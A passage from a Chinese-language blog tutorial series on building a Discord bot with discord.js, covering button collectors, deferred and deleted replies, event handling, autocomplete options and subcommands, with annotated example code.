.setColor(0x0099FF)\n .setTitle(\"\u0026gt;\u0026gt;\u0026gt;Discord Help Center\u0026lt;\u0026lt;\u0026lt;\")\n .setURL('https://support.discord.com/hc/en-us')\n .setDescription(\"Need help? We've got your back.\");\n\n await interaction.reply({ content: 'R U seeking for assistance using Discord?', components: [row], embeds: [hc], ephemeral: true });\n\n const filter = i =\u0026gt; {\n // 这里我们用到了下面会将的“收集器”,准确来说是“基本消息组件收集器”\n // filter 是收集器 collector 的一个过滤器。\n // 如果该消息早已被其他收集器实例收集走了,那就返回 false,表示本收集器拒绝收集该消息。这在并发场景下很好用。\n if (updatedBtnMsg.has(i.message.id)) {\n return false;\n } else { // 运行到这条 else 分支,意味着该消息未被曾收集过。\n if (i.customId.startsWith('b3')) {\n // 我们不需要验证按钮消息的发起者和按按钮的人是否是同一个人,\n\t // 因为这俩人肯定是同一个人,因为按钮消息已被设置为 ephemeral,\n\t // 甚至不会有外人能看到这条消息,更别说按这个按钮了\n updatedBtnMsg.set(i.message.id, true);\n return true;\n } else {\n // 这条分支意味着不满足我们的要求 i.customId.startsWith('b3') === true\n // 即按下的按钮的 Id 不是 b3 打头的。我们不要。\n return false;\n }\n }\n };\n\n const collector = interaction.channel.createMessageComponentCollector({\n filter,\n max: 1, // 我们只想让收集器收集一个满足 filter 条件的 Interaction\n\t\t // 如果你想只针对特定组件类型进行收集的话,使用 componentType 标签\n\t\t // 如果你想设置收集的最大组件数,使用 maxComponents\n\t\t // 最大交互用户数,使用 maxUsers\n time: 20 * 1000, // 20.000 secs,以毫秒为单位运行收集器多长时间,不设置则一直收集\n\t\t\t\t\t\t // 如果要设置不活动后停止收集器多长时间(以毫秒为单位),使用 idle\n });\n\n collector.on('collect', async i =\u0026gt; {\n // 明确地令 component 数组为空数组,可以在 .update() 时删除该消息的任何组件。\n // 明确地令 embeds 数组为空数组,可以在 .update() 时删除该消息的任何嵌套元素。\n await i.update({ content: `Nice.`, components: [rowD], embeds: []});\n });\n\n collector.on('end', collected =\u0026gt; {\n console.log(`Collected ${collected.size} items`);\n\n // 为了确保数组下标访问[0]不越界,我们这里要求数组不为空\n if (collected.size \u0026gt; 0) {\n console.log((Array.from(collected.values()))[0].customId);\n }\n });\n\n },\n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e效果图:\n\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202211/2455224-20221119141119800-67771465.png\" alt=\"image\" /\u003e\n按下按钮后:\n\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202211/2455224-20221119141123741-159560186.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003ch3\u003e其他对按钮的操作\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003ereply()\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eeditReply()\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003edeferReply()\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003efetchReply()\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003edeleteReply()\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003efollowUp()\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e我们这里展示一下 \u003ccode\u003edeferReply()\u003c/code\u003e 和 \u003ccode\u003edeleteReply()\u003c/code\u003e。\u003c/p\u003e\n\u003cp\u003e下面的源码注释我个人认为该有的都有了,清晰明了。就不再在这里费笔墨再写一遍了。\u003c/p\u003e\n\u003cp\u003e下面用 \u003ccode\u003ecommands/buttons/deferAndDelete.js\u003c/code\u003e 来说明:\u003c/p\u003e\n\u003cp\u003e对应的 commit:\nhttps://github.com/wtflmao/discord_bot_example/commit/21c5f65d81cedbce987a59dfe4c9db4251817d41#diff-16f8992fc6c047410730afb876fa5a8a9c8ed7b312c9f991f52bdb9ca8f85b8f\nhttps://gitee.com/wtflmao/discord_bot_example/commit/21c5f65d81cedbce987a59dfe4c9db4251817d41#diff-16f8992fc6c047410730afb876fa5a8a9c8ed7b312c9f991f52bdb9ca8f85b8f\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst { ActionRowBuilder, ButtonBuilder, ButtonStyle, SlashCommandBuilder } = require('discord.js');\nconst wait = require('node:timers/promises').setTimeout;\n\nlet updatedBtnMsg = new Map();\n\nmodule.exports = {\n data: new SlashCommandBuilder()\n .setName('ddbutton')\n .setDescription('Replies with a button, but deferred, also self-delete!'),\n\n async execute(interaction) {\n updatedBtnMsg.set(\"0\", false);\n\n const row = new ActionRowBuilder()\n .addComponents(\n new ButtonBuilder()\n // Randomize the button's customId for good luck, like \"b1_90372\" or \"b1_1827\".\n .setCustomId(`b1_${Math.floor(Math.random() * 100000)}`)\n .setLabel(\"Update weather data\")\n .setStyle(ButtonStyle.Primary),\n );\n\n await interaction.reply({ content: 'This is a button:', components: [row], embeds: [], ephemeral: false });\n\n const filter = i =\u0026gt; {\n // If the target message has been collected and edited by the other collector instance,\n // then return false, telling the current collector that \"do not collect this msg, or else, DIE!!\", LOL.\n if (updatedBtnMsg.has(i.message.id)) {\n return false;\n } else {\n // Here, this msg hasn't been collected yet.\n if (i.customId.startsWith('b1') \u0026amp;\u0026amp; (i.user.id === interaction.user.id)) {\n // Here, it fulfills our requirements: a.is a DANGEROUS button(customId starts with \"b4_\"), and b. the \"button msg\"'s author is the person that presses the button\n // Put this \u0026lt;i.message.id, true\u0026gt; record into the Map, so that we can no longer collect it\n // (like when many active collectors all see the same button interaction fulfills its requirements, then they all wanna edit the same msg, but to only find the interaction has already been acknowledged and the bot be halted.)\n updatedBtnMsg.set(i.message.id, true);\n } else {\n // Here, it doesn't meet all the requirements we need, so do not collect it.\n return false;\n }\n }\n updatedBtnMsg.delete(i.message.id);\n return true;\n };\n\n const collector = interaction.channel.createMessageComponentCollector({\n filter,\n time: 18000, // 18 secs\n });\n\n collector.on('collect', async i =\u0026gt; {\n // use .deferUpdate() to simulate an API response process from a weather channel.\n await i.deferUpdate();\n await i.editReply({ content: `Updating...`, components:[] });\n await wait(3350); //wait 3.350 secs\n await i.editReply({ content: `Las Vegas, NV\\nAs of ${Math.floor(Math.random() * 11) + 1}:${Math.floor(Math.random() * 59)} am PST\\n44°F\\nFair\\nDay ${Math.floor(Math.random() * 10) + 66}°F • Night ${39 - Math.floor(Math.random() * 10)}°F`, embeds: [], components: [row] });\n });\n\n collector.on('end', collected =\u0026gt; {\n console.log(`Collected ${collected.size} items`);\n\n // To make sure there's at least one item in the array,\n // to prevent accessing the first element of an empty array, which leads to out-of-bounds memory access\n if (collected.size \u0026gt; 0) {\n // To delete the whole reply, do .deleteReply() for the last collected item, not all the items.\n (Array.from(collected.values()))[collected.size - 1].deleteReply();\n console.log((Array.from(collected.values()))[0].customId);\n }\n });\n\n },\n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e效果图:\n刚发出斜杠命令交互后:\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202211/2455224-20221119141436425-1654461385.png\" alt=\"image\" /\u003e\n点击 Update weather button 后:\n\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202211/2455224-20221119141504850-2016161105.png\" alt=\"image\" /\u003e\n结果:\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202211/2455224-20221119141525899-129872057.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003ch3\u003e消息组件收集器:处理按钮被按下后的交互操作\u003c/h3\u003e\n\u003cp\u003e我们需要建立一个 Discord.js 为我们提供的一种“收集器”(Collector)来监听一种交互:按钮被按下这种交互。\u003c/p\u003e\n\u003cp\u003e其实消息组件收集器可以收集任何消息组件,但是这里我们只在乎按钮的交互。\u003c/p\u003e\n\u003cp\u003e消息组件收集器,这种收集器有个特点,就是 Discord 期望你的机器人在 3 秒内对所有交互做出响应,即使是您不想收集的交互也是如此。出于这个原因,实践中的许多情况下,在 filter 中上来就来个 \u003ccode\u003e.deferUpdate()\u003c/code\u003e,甚至放弃使用 filter,直接让 collector 来者不拒,上来同样先 \u003ccode\u003e.deferUpdate()\u003c/code\u003e。\u003c/p\u003e\n\u003cp\u003e我们这里没有这么做。\u003c/p\u003e\n\u003cp\u003e下面的源码注释我个人认为该有的都有了,清晰明了。就不再在这里费笔墨再写一遍了。\u003c/p\u003e\n\u003cp\u003e下面用 \u003ccode\u003ecommands/buttons/deferAndDelete.js\u003c/code\u003e 来说明:\u003c/p\u003e\n\u003cp\u003e对应的 commit:\nhttps://github.com/wtflmao/discord_bot_example/commit/21c5f65d81cedbce987a59dfe4c9db4251817d41#diff-da8b6abce1aa8943cff70045dec60a8d70461e8f6cb0e5c9327e5235f5ead4c5\nhttps://gitee.com/wtflmao/discord_bot_example/commit/21c5f65d81cedbce987a59dfe4c9db4251817d41#diff-da8b6abce1aa8943cff70045dec60a8d70461e8f6cb0e5c9327e5235f5ead4c5\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst { ActionRowBuilder, ButtonBuilder, ButtonStyle, EmbedBuilder, SlashCommandBuilder } = require('discord.js');\nconst wait = require('node:timers/promises').setTimeout;\n\nlet updatedBtnMsg = new Map();\n\nmodule.exports = {\n\tdata: new SlashCommandBuilder()\n .setName('button')\n .setDescription('Replies with a button!'),\n\n\tasync execute(interaction) {\n\t\tupdatedBtnMsg.set(\"0\", false);\n\n\t\tconst rowDanger = new ActionRowBuilder()\n\t\t\t.addComponents(\n\t\t\t\tnew ButtonBuilder()\n\t\t\t\t\t// Randomize the button's customId for good luck, like \"b4_90372\" or \"b4_1827\".\n\t\t\t\t\t.setCustomId(`b4_${Math.floor(Math.random() * 100000)}`)\n\t\t\t\t\t.setLabel(\"Click me!\")\n\t\t\t\t\t.setStyle(ButtonStyle.Danger),\n\t\t\t);\n\n\t\tconst rowDangerD = new ActionRowBuilder()\n\t\t\t.addComponents(\n\t\t\t\tnew ButtonBuilder()\n\t\t\t\t\t// Because the button is disabled, no one can actually click that.\n\t\t\t\t\t// So there's no avail to randomize its customId.\n\t\t\t\t\t.setCustomId('b4d')\n\t\t\t\t\t.setLabel(\"YOU CLICKED ME!\")\n\t\t\t\t\t.setStyle(ButtonStyle.Danger)\n\t\t\t\t\t.setDisabled(true),\n\t\t\t);\n\n\t\tconst rowSecD = new ActionRowBuilder()\n\t\t\t.addComponents(\n\t\t\t\tnew ButtonBuilder()\n\t\t\t\t\t// Because the button is disabled, no one can actually click that.\n\t\t\t\t\t// So there's no avail to randomize its customId.\n\t\t\t\t\t.setCustomId('b2d')\n\t\t\t\t\t.setLabel(\"It's fine.\")\n\t\t\t\t\t.setStyle(ButtonStyle.Secondary)\n\t\t\t\t\t.setDisabled(true),\n\t\t\t);\n\n\t\tconst embed = new EmbedBuilder()\n\t\t\t.setColor(0x0099FF)\n\t\t\t.setTitle(\"hhzm's blog\")\n\t\t\t.setURL('https://www.cnblogs.com/hhzm/')\n\t\t\t.setDescription(\"hhzm's cnblog site\");\n\n\t\tawait interaction.reply({ content: 'This is a Danger button:', components: [rowDanger], embeds: [embed], ephemeral: false });\n\n\t\tconst filter = i =\u0026gt; {\n\t\t\t// If the target message has been collected and edited by the other collector instance,\n\t\t\t// then return false, telling the current collector that \"do not collect this msg, or else, DIE!!\", LOL.\n\t\t\tif (updatedBtnMsg.has(i.message.id)) {\n\t\t\t\treturn false;\n\t\t\t} else {\n\t\t\t\t// Here, this msg hasn't been collected yet.\n\t\t\t\tif (i.customId.startsWith('b4') \u0026amp;\u0026amp; (i.user.id === interaction.user.id)) {\n\t\t\t\t\t// Here, it fulfills our requirements: a.is a DANGEROUS button(customId starts with \"b4_\"), and b. the \"button msg\"'s author is the person that presses the button\n\t\t\t\t\t// Put this \u0026lt;i.message.id, true\u0026gt; record into the Map, so that we can no longer collect it\n\t\t\t\t\t// (like when many active collectors all see the same button interaction fulfills its requirements, then they all wanna edit the same msg, but to only find the interaction has already been acknowledged and the bot be halted.)\n\t\t\t\t\tupdatedBtnMsg.set(i.message.id, true);\n\t\t\t\t\treturn true;\n\t\t\t\t} else {\n\t\t\t\t\t// Here, it doesn't meet all the requirements we need, so do not collect it.\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t}\n\t\t};\n\n\t\t// here we used interaction.channel.createMessageComponentCollector()\n\t\t// rather than message.createMessageComponentCollector()\n\t\t// to show you guys how a collector that focuses on channel works.\n\t\tconst collector = interaction.channel.createMessageComponentCollector({\n\t\t\tfilter,\n\t\t\tmax: 1, // We only want this collector instance collects 1 eligible message component\n\t\t\ttime: 15 * 1000, // 15.000 secs\n\t\t});\n\n\t\tcollector.on('collect', async i =\u0026gt; {\n\t\t\tawait i.update({ content: `A DANGEROUS button was clicked! ${i.customId}`, embeds: [], components: [rowDangerD] });\n\t\t\tawait wait(6969);\n\n\t\t\t// use .editReply() rather than another .update() here\n\t\t\t// Passing an empty array to the components option will remove any buttons after one has been clicked.\n\t\t\t// Passing an empty array to the embeds option will remove any embeds after one has been clicked.\n\t\t\tawait i.editReply({ content: `Danger mitigated.`, components: [rowSecD], embeds: [] });\n\t\t});\n\n\t\tcollector.on('end', collected =\u0026gt; {\n\t\t\tconsole.log(`Collected ${collected.size} items`);\n\n\t\t\t// To make sure there's at least one item in the array,\n\t\t\t// to prevent accessing the first element of an empty array, which leads to out-of-bounds memory access\n\t\t\tif (collected.size \u0026gt; 0) {\n\t\t\t\tconsole.log((Array.from(collected.values()))[0].customId);\n\t\t\t}\n\t\t});\n\n\t},\n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e效果图:\n\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202211/2455224-20221119141809776-952418961.png\" alt=\"image\" /\u003e\n然后\n\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202211/2455224-20221119144938255-2082627602.png\" alt=\"image\" /\u003e\n然后\n\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202211/2455224-20221119141819927-1945822726.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e需要注明的是,我们这里的收集器“监听”的是频道(Channel)里的组件事件。消息组件收集器还有另一种监听对象:消息(Message)。\u003c/p\u003e\n\u003cp\u003e监听某个 Channel:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst collector = interaction.channel.createMessageComponentCollector();\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e此时,只要收集器仍在工作,则该收集器的目标频道里的所有 MessageComponent 事件都可以成为收集器的收集对象。比如本例中,哪怕之前机器人已重启过好几次了,只要有人执行了斜杠命令 /button,那么哪怕是(在这个频道里)上个月的按钮,只要满足了 filter 的条件,也能够被收集器收集到,进而干该干的事。\u003c/p\u003e\n\u003cp\u003e监听某个 Message:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003emessage = await interaction.fetchReply();\nconst collector = message.createMessageComponentCollector();\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e此时,只要监听某条特定消息的收集器停止了工作,那么在本例中,没有其他的收集器可以在收集到该按钮的组件事件了,哪怕满足 filter 的条件了也不行。本例使用的是对象是频道的收集器。\u003c/p\u003e\n\u003cp\u003e你可以自由选择是使用对象是频道的消息组件收集器,还是使用对象是消息的消息组件收集器,来简化你的任务。\u003c/p\u003e\u003chr /\u003e","url":"https://hhzm.win/posts/bot-in-discord-9/"},{"title":"Bot in Discord with discord.js (8)","time":"2022-07-15T00:00:00Z","content":"\u003ch2\u003eChapter 10 - 事件处理 Event handling\u003c/h2\u003e\n\u003cp\u003e这一章只是根据新的 discord.js v14.8.0,对已有文件进行小修小补。\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e如果你是跟着本教程前几章来的,不要跳过本章!\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e根据官方的说法,Node.js 使用事件驱动的架构,使得在特定事件发生时执行特定代码成为可能。discord.js 库就充分利用了这一点。\u003c/p\u003e\n\u003ch4\u003e修改后的 \u003ccode\u003eevents/interactionCreate.js\u003c/code\u003e\u003c/h4\u003e\n\u003cpre\u003e\u003ccode\u003econst { Events } = require('discord.js');\n\nmodule.exports = {\n\tname: Events.InteractionCreate,\n\texecute(interaction) {\n\t\tconsole.log(`${interaction.user.tag} in #${interaction.channel.name} triggered an interaction.`);\n\t},\n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch4\u003e修改后的 \u003ccode\u003eevents/ready.js\u003c/code\u003e\u003c/h4\u003e\n\u003cpre\u003e\u003ccode\u003econst { Events } = require('discord.js');\n\nmodule.exports = { \n name: Events.ClientReady, \n once: true, \n execute(client) { \n console.log(`Ready! Logged in as ${client.user.tag}`); \n }, \n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch4\u003e修改后的 \u003ccode\u003eindex.js\u003c/code\u003e\u003c/h4\u003e\n\u003cp\u003e这个文件改动的地方不算多,但是把完整源码粘贴过来又显得冗杂,因此,我把这次的 git commit 地址放在这里,大家可以自己点开去看。\u003c/p\u003e\n\u003cp\u003ehttps://github.com/wtflmao/discord_bot_example/commit/f6eeddd2d975cb43803075e884bbc4d7174f6dfe\u003c/p\u003e\n\u003cp\u003e如果上面的 Github 链接在国内打不开,你可以使用下面的 Gitee 链接:\u003c/p\u003e\n\u003cp\u003ehttps://gitee.com/wtflmao/discord_bot_example/commit/f6eeddd2d975cb43803075e884bbc4d7174f6dfe\u003c/p\u003e\n\u003ch2\u003eChapter 11 自动完成 Autocomplete\u003c/h2\u003e\n\u003cp\u003e自动完成允许根据用户的输入动态地向用户提供一系列值,而不是依赖于静态选项。你需要学习 Chapter 6 的 Option 才能继续学习本章。换句话说,Autocomplete 只是服务于 Option 的。\u003c/p\u003e\n\u003cp\u003e用户被自动完成提供了一些 choices,但是用户可以键入执行除了给定的 choices 以外的其他任意合法值。想像一个新闻搜索机器人,\u003ccode\u003equery\u003c/code\u003e 项用于接收关键词。用户可以键入任何字符串,但是为了方便用户使用,机器人维护了一个“24小时热搜前一百”的列表,用户只需输入某个字或词,就能把列表里所有相关的新闻标题作为选项展示给用户,以减少用户输入量。当然用户也可以输入自己任何想搜的,不受热搜的限制。\u003c/p\u003e\n\u003cp\u003e在使用自动完成之前,一定要根据 Chapter 9 的内容,修改你的机器人代码,因为 Chapter 9 对 index.js 和 events/interactionCreate.js 做了大改。本章开始的代码直接跑在前八章里是会报错的。\u003c/p\u003e\n\u003cp\u003e自动完成举例:\u003ccode\u003ecommands/autocomplete.js\u003c/code\u003e\nhttps://github.com/wtflmao/discord_bot_example/commit/625dcad5fc03f28a0faf14bf66e35400c4ad767b\nhttps://gitee.com/wtflmao/discord_bot_example/commit/625dcad5fc03f28a0faf14bf66e35400c4ad767b\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst { SlashCommandBuilder } = require('discord.js');\n\nmodule.exports = {\n\tdata: new SlashCommandBuilder()\n\t\t.setName('autocomplete')\n\t\t.setDescription('Autocomplete test.')\n\t\t.addStringOption(option =\u0026gt;\n\t\t\toption.setName(\"category\")\n\t\t\t\t.setDescription(\"The category you'd like to dive in\")\n\t\t\t\t.setAutocomplete(true)),\n\tasync autocomplete(interaction) {\n\t\t\n\t\tconst focusedValue = interaction.options.getFocused();\n\t\tconst choices = ['beer', 'coffee', 'milk', 'apple', 'banana', 'tea', 'zebra'];\n\t\tconst filtered = choices.filter(choice =\u0026gt; choice.includes(focusedValue));\n\t\tawait interaction.respond(\n\t\t\tfiltered.map(choice =\u0026gt;({ name: choice, value: 'v_' + choice })),\n\t\t).then(() =\u0026gt; console.log('Successfully responded to the autocomplete interaction'))\n \t\t.catch(console.error);\n\t},\n\tasync execute(interaction) {\n\t\tconst category = interaction.options.getString(\"category\");\n\t\tawait interaction.reply(`You acquired some ${category}.`);\n\t},\n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e解析:通过 \u003ccode\u003e.setAutoComplete(true)\u003c/code\u003e 来开启一个 Option 的自动完成。\u003c/p\u003e\n\u003cp\u003e在 \u003ccode\u003eautocomplete()\u003c/code\u003e 函数里:\u003c/p\u003e\n\u003cp\u003e通过 \u003ccode\u003einteraction.options.getFocused()\u003c/code\u003e 获取用户在该域内实时键入的值。\u003c/p\u003e\n\u003cp\u003e我们用 choices 数组维护了一些用户可能会输入的字符串,通过 \u003ccode\u003echoices.filter(choice =\u0026gt; choice.includes(focusedValue)\u003c/code\u003e (实时键入的字符串是否是 choices 数组某个元素的字串与否)来判断是否要将该元素加入到针对目前实时键入的值的自动完成响应里去。比如,用户输入 \"ee\",能匹配 \"beer\" 和 \"coffee\"。\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003einteraction.respond()\u003c/code\u003e 用于向用户响应自动完成列表。\u003c/p\u003e\n\u003cp\u003e程序执行到现在,用户应还未回车执行命令。\u003c/p\u003e\n\u003cp\u003e在 \u003ccode\u003eexecute()\u003c/code\u003e 函数里:\u003c/p\u003e\n\u003cp\u003e这里是我们最常见的斜杠命令的函数主题了,执行到这里意味着用户已经敲击了回车,执行了斜杠命令。\u003c/p\u003e\n\u003cp\u003e这里是实时输入\"ee\"时,根据我们 filter 设定的规则,自动完成匹配到的:\n\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202211/2455224-20221117172041533-543123094.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e当我们执行 \u003ccode\u003e/autocomplete category: news\u003c/code\u003e时:\n\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202211/2455224-20221117172055915-1546936651.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e用户的最终输入可以与自动完成的无关,就像没有自动完成的普通 Option 那样对待:\n执行 \u003ccode\u003e/autocomplete category: news\u003c/code\u003e\n\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202211/2455224-20221117172117377-303406663.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e我们没有对 category 域设置必填,等价于 .setRequired(false)。因此不理会这个域执行命令也是可以的:\n执行 \u003ccode\u003e/autocomplete\u003c/code\u003e\n\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202211/2455224-20221117172123011-1830908788.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003ch3\u003e多个 Option 的 Autocomplete\u003c/h3\u003e\n\u003cp\u003e上代码:\u003ccode\u003ecommands/autocomplete2.js\u003c/code\u003e\nhttps://github.com/wtflmao/discord_bot_example/commit/625dcad5fc03f28a0faf14bf66e35400c4ad767b\nhttps://gitee.com/wtflmao/discord_bot_example/commit/625dcad5fc03f28a0faf14bf66e35400c4ad767b\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst { SlashCommandBuilder } = require('discord.js');\n\nmodule.exports = {\n\tdata: new SlashCommandBuilder()\n\t\t.setName('autocomplete2')\n\t\t.setDescription('Multi-Autocomplete test.')\n\t\t.addStringOption(option =\u0026gt;\n\t\t\toption.setName(\"category\")\n\t\t\t\t.setDescription(\"The category you'd like to dive in\")\n\t\t\t\t.setAutocomplete(true)\n\t\t\t\t.setRequired(true))\n\t\t.addNumberOption(option =\u0026gt;\n\t\t\toption.setName(\"amount\")\n\t\t\t\t.setDescription(\"How many you want\")\n\t\t\t\t.setAutocomplete(true)\n\t\t\t\t.setRequired(true)),\n\tasync autocomplete(interaction) {\n\t\t\n\t\tconst focusedOption = interaction.options.getFocused(true);\n\n\t\tif(focusedOption.name === \"category\") {\n\n\t\t\tconst choices = ['beer', 'coffee', 'milk', 'apple', 'banana', 'tea', 'zebra'];\n\t\t\tconst filtered = choices.filter(choice =\u0026gt; choice.includes(focusedOption.value));\n\t\t\tawait interaction.respond(\n\t\t\t\tfiltered.map(choice =\u0026gt;({ name: choice, value: choice })),\n\t\t\t).then(() =\u0026gt; console.log('Successfully responded to the autocomplete interaction'))\n\t \t\t.catch(console.error);\n\n\t\t}\n\n\t\tif(focusedOption.name === \"amount\") {\n\n\t\t\tconst choices = [12, 24, 48, 81, 9];\n\t\t\tconst filtered = choices.filter(choice =\u0026gt; `${choice}`.includes(`${focusedOption.value}`));\n\t\t\tawait interaction.respond(\n\t\t\t\tfiltered.map(choice =\u0026gt;({ name: `${choice}`, value: choice })),\n\t\t\t).then(() =\u0026gt; console.log('Successfully responded to the autocomplete interaction'))\n\t \t\t.catch(console.error);\n \t\t\n\t\t}\n\t},\n\tasync execute(interaction) {\n\t\tconst category = interaction.options.getString(\"category\");\n\t\tconst amount = interaction.options.getNumber(\"amount\");\n\t\t// P.S. .getUser(), .getMember(), .getRole(), .getChannel(), .getMentionable() and .getAttachment() methods are not available to autocomplete interactions.\n\t\t// but .getBoolean(), .getInteger() are available\n\t\tawait interaction.reply(`You acquired ${amount} of ${category}.`);\n\t},\n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e我们设置了两个 Option,一个叫 category,类型是字符串型;另一个叫 amount,类型是 Number 型。\u003c/p\u003e\n\u003cp\u003e针对字符串和 Number 的值处理是不同的,这也使得我们用 \u003ccode\u003eif(focusedOption.name === \"category\")\u003c/code\u003e \u003ccode\u003eif(focusedOption.name === \"amount\")\u003c/code\u003e 来分别处理他们。\u003c/p\u003e\n\u003cp\u003e注意,对 \u003ccode\u003eautocomplete()\u003c/code\u003e 的调用是实时关于用户键入的。这意味着,用户(以一个不太快的速度)每敲一个字符,Discord 客户端都会向机器人后台请求一遍新的 Autocomplete 结果列表。\u003c/p\u003e\n\u003cp\u003e执行 \u003ccode\u003e/autocomplete2 category: tea amount: 24\u003c/code\u003e:\n\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202211/2455224-20221117174254952-147312660.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e执行 \u003ccode\u003e/autocomplete2 category: zombie amount: 7\u003c/code\u003e:\n\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202211/2455224-20221117174259390-53278945.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e允许设置 Autocomplete 的只有 string、integer、boolean 和 number 四类 Option。\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst string = interaction.options.getString('input');\nconst integer = interaction.options.getInteger('int');\nconst boolean = interaction.options.getBoolean('choice');\nconst number = interaction.options.getNumber('num');\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e像 .getUser(), .getMember(), .getRole(), .getChannel(), .getMentionable() and .getAttachment(),都不能设置自动完成。\u003c/p\u003e\n\u003ch4\u003e其他注意的地方\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e与其他应用程序命令交互一样,自动完成交互必须在 3 秒内收到响应。\u003c/li\u003e\n\u003cli\u003e你不能推迟对自动完成交互的响应。 如果你正在处理异步建议,例如等待来自 API 的数据,请考虑保留本地缓存。\u003c/li\u003e\n\u003cli\u003e用户选择一个值并发送命令后,将作为常规接收 \u003ccode\u003eChatInputCommandInteraction\u003c/code\u003e 与 Option 的值。\u003c/li\u003e\n\u003cli\u003e你一次最多只能回复 25 项,但如果超过这个数,则可能意味着你应该修改过滤器以进一步缩小选择范围。\u003c/li\u003e\n\u003c/ul\u003e\u003chr /\u003e","url":"https://hhzm.win/posts/bot-in-discord-8/"},{"title":"Bot in Discord with discord.js (7)","time":"2022-07-14T00:00:00Z","content":"\u003ch2\u003eChapter 7 - 斜杠命令的子命令 Subcommands\u003c/h2\u003e\n\u003cp\u003e如果你有一个包含子命令的命令,你可以以使用与解析 Options 和 Choices 的值那样相似的方式解析它们。 以下代码片段详细说明了解析子命令并使用 \u003ccode\u003eCommandInteractionOptionResolver#getSubcommand()\u003c/code\u003e 方法做出相应响应所需的逻辑:\u003c/p\u003e\n\u003cp\u003e代码 \u003ccode\u003ecommands/subCmd.js\u003c/code\u003e:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst { SlashCommandBuilder } = require('discord.js');\n\nmodule.exports = {\n\tdata: new SlashCommandBuilder()\n\t\t.setName('subcmd')\n\t\t.setDescription('Subcommand! Reply with user\\'s or server \\'s info.')\n\t\t.addSubcommand(subcommand =\u0026gt; \n\t\t\tsubcommand.setName('user')\n\t\t\t.setDescription('Info about a user')\n\t\t\t.addUserOption(option =\u0026gt; option.setName('target').setDescription('The user')))\n\t\t.addSubcommand(subcommand =\u0026gt;\n\t\t\tsubcommand.setName('server')\n\t\t\t.setDescription('Info about the server')),\n\n\tasync execute(interaction) {\n\t\tif (interaction.options.getSubcommand() === 'user') {\n\t\t\tconst theUser = interaction.options.getUser('target');\n\n\t\t\tif (theUser) {\n\t\t\t\tawait interaction.reply(`Username: ${theUser.username}\\nID: ${theUser.id}`);\n\t\t\t} else {\n\t\t\t\t// 用户没有指定 target user,我们输出命令发起者自己就好\n\t\t\t\tawait interaction.reply(`Your username: ${interaction.user.username}\\nYour ID: ${interaction.user.id}`);\n\t\t\t}\n\t\t} else if (interaction.options.getSubcommand() === 'server') {\n\t\t\tawait interaction.reply(`Server name: ${interaction.guild.name}\\nTotal members: ${interaction.guild.memberCount}`);\n\t\t}\n\t},\n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e注意,只有子命令才是真正可以执行的命令,比如上面的代码中 \u003ccode\u003e/subcmd\u003c/code\u003e 没有真正的函数逻辑实现来支撑这个命令,只有子命令 \u003ccode\u003e/subcmd server\u003c/code\u003e 和 \u003ccode\u003e/subcmd user\u003c/code\u003e 才是真正有函数实现的命令。直接执行 \u003ccode\u003e/subcmd\u003c/code\u003e 指望它能干事是不可能的。\u003c/p\u003e\n\u003cp\u003e还是先上效果图,再分析代码:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e输入命令 \u003ccode\u003e/subcmd\u003c/code\u003e 